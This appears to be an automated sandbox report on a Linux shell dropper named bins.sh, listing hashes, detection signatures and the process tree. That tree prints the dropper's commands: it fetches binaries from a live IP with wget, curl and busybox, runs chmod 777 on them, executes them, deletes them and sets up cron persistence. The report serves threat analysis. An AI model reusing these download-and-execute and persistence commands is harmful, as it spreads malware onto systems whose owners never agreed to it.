Analysis
-
max time kernel
149s -
max time network
94s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
26/11/2024, 23:11
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
71ec0aa550f7409c7f45906fca045cb1
-
SHA1
a0f270335831919a5cd9f3ebb71d0631010c3564
-
SHA256
8870b3b28e3a997482b2096cd8c1a2064761eccf648a3f57bb0a58f9b9e9c08a
-
SHA512
4a54755cf5876efadd68926b41da67c7ccbe2c3a38de832fa09a5367d8f3250c8da815e9167f6974955296680e0cd1718ec1b9802de7cf8cb5363d67b9d7bf3b
-
SSDEEP
192:6mK6XfrfLn/YZvlfaDd9FNll+fLYmK6Xfcl:lfLnavNwd95YfLg
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 679 chmod 712 chmod 740 chmod -
Executes dropped EXE 3 IoCs
ioc pid Process /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB 680 dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw 714 geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw /tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm 741 TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm -
Renames itself 1 IoCs
pid Process 742 TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.gLeWqz crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/799/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/808/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/815/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/107/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/600/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/770/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/791/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/4/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/310/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/813/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/810/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/774/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/782/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/798/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/807/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/21/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/300/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/872/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/877/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/579/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/644/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/7/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/10/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/144/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/315/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/842/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/23/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/279/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/816/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/828/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/764/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/817/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/835/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/841/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/152/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/786/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/840/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/890/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/self/auxv curl File opened for reading /proc/760/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/775/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/776/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/802/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/806/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/818/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/843/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/filesystems crontab File opened for reading /proc/20/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/780/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/788/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/847/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/867/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/864/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/130/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/819/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/829/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/303/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/758/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/784/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/785/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/filesystems crontab File opened for reading /proc/24/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm File opened for reading /proc/41/cmdline TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB wget File opened for modification /tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm wget File opened for modification /tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm curl File opened for modification /tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm busybox File opened for modification /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB curl File opened for modification /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB busybox File opened for modification /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw wget File opened for modification /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw curl File opened for modification /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:647
-
/bin/rm/bin/rm bins.sh2⤵PID:649
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB2⤵
- Writes file to tmp directory
PID:651
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:674
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB2⤵
- Writes file to tmp directory
PID:678
-
-
/bin/chmodchmod 777 dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB2⤵
- File and Directory Permissions Modification
PID:679
-
-
/tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB./dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB2⤵
- Executes dropped EXE
PID:680
-
-
/bin/rmrm dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB2⤵PID:683
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw2⤵
- Writes file to tmp directory
PID:685
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:696
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw2⤵
- Writes file to tmp directory
PID:707
-
-
/bin/chmodchmod 777 geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw2⤵
- File and Directory Permissions Modification
PID:712
-
-
/tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw./geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw2⤵
- Executes dropped EXE
PID:714
-
-
/bin/rmrm geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw2⤵PID:716
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm2⤵
- Writes file to tmp directory
PID:718
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:733
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm2⤵
- Writes file to tmp directory
PID:739
-
-
/bin/chmodchmod 777 TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm2⤵
- File and Directory Permissions Modification
PID:740
-
-
/tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm./TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:741 -
/bin/shsh -c "crontab -l"3⤵PID:743
-
/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:744
-
-
-
/bin/shsh -c "crontab -"3⤵PID:745
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:746
-
-
-
-
/bin/rmrm TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm2⤵PID:759
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/wE14iKzr88fbOnSGTIQA0beGadLZltho8C2⤵PID:763
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
-
Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD52791dc8d7abd43f646255b51099cd3c2
SHA153fef841915779b2766cadf1e164037030b7ec50
SHA2560762dbdf3cc577868036b1b55746d703821bc507563ce4706ca9ebc54d0fe187
SHA51205ef087e5152c0d644d5e497edf390558fffc789209a8db403cbc5e61238b5c3a029c1578f554833632a03b28ea2ec2f2124809f3658935e6862164d7268c543